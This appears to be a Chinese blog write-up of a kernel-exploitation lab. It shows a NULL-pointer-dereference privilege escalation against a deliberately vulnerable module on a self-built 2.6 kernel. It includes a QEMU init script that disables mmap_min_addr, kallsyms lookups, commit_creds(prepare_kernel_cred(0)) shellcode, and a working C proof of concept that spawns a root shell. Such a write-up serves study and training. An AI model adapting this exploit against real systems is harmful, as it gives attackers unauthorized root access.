linux kernel pwn 初探(2) NULL Defence

这篇文章主要介绍的是NULL defence,这个古老的kernel漏洞

测试了半天,在4.15的kernel弄了半天,结果发现并不支持RIP为0,只好转而去弄2.6的kernel

这个kernel不能直接下载,只能编译,然后在我的ubuntu 16.04那里编译了半天,发现并不行,可能gcc版本太高了

于是上服务器上pull了ubuntu 14.04的Docker,在上面编译,发现一点事情都没有……..

这里给一下我编译好的kernel和driver吧

kernel

driver

初始化脚本如下

1
2
3
4
5
6
7
8
9
10
11
12
13
#!/bin/sh
echo "{==DBG==} INIT SCRIPT"
mkdir /tmp
mount -t proc none /proc
mount -t sysfs none /sys
mount -t debugfs none /sys/kernel/debug
mount -t tmpfs none /tmp
insmod /null.ko
mdev -s # We need this to find /dev/sda later
sysctl -w vm.mmap_min_addr="0"
echo -e "{==DBG==} Boot took $(cut -d' ' -f1 /proc/uptime) seconds"
setsid /bin/cttyhack setuidgid 1000 /bin/sh #normal user
#exec /bin/sh #root

测试用的poc如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mman.h>

char payload[] = "\xe9\xea\xbe\xad\x0b"; // jmp 0xbadbeef

int main() {
int* addr=mmap(0, 4096, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
memcpy(0, payload, sizeof(payload));

int fd = open("/proc/bug1", O_WRONLY);
printf("addr is %lx, open %d\n",addr,fd);
write(fd, "ch4r1l3", 7);

return 0;
}

gdb连接上去之后

b* 0,运行poc

然后正式开始写payload

首先得到commit_creds和prepare_kernel_cred的地址,用

1
2
grep prepare_kernel_cred /proc/kallsyms
grep commit_creds /proc/kallsyms

得到之后,编写调用

1
commit_creds(prepare_kernel_cred(0))

的汇编

这里参考了下别人的,但是发现总报错,然后在报错那里看到 RIP??????

RIP????? 不是64位的么?????? uname -a一波…….. emmmm,我编译了个64位的kernel

嘛…….还是能继续写的,函数传参方式不同而已

1
2
3
4
5
xor rdi,rdi
call prepare_kernel_cred
mov rdi,rax
call commit_creds
ret

最终的poc是

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mman.h>

char payload[] = "H1\xff\xe8\xd0\x0c\x06\x81H\x89\xc7\xe8\xd3\r\x06\x81\xc3";

int main() {
int* addr=mmap(0, 4096, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
memcpy(0, payload, sizeof(payload));

int fd = open("/proc/bug1", O_WRONLY);
printf("addr is %lx, open %d\n",addr,fd);
write(fd, "ch4r1l3", 7);
system("/bin/sh");
return 0;
}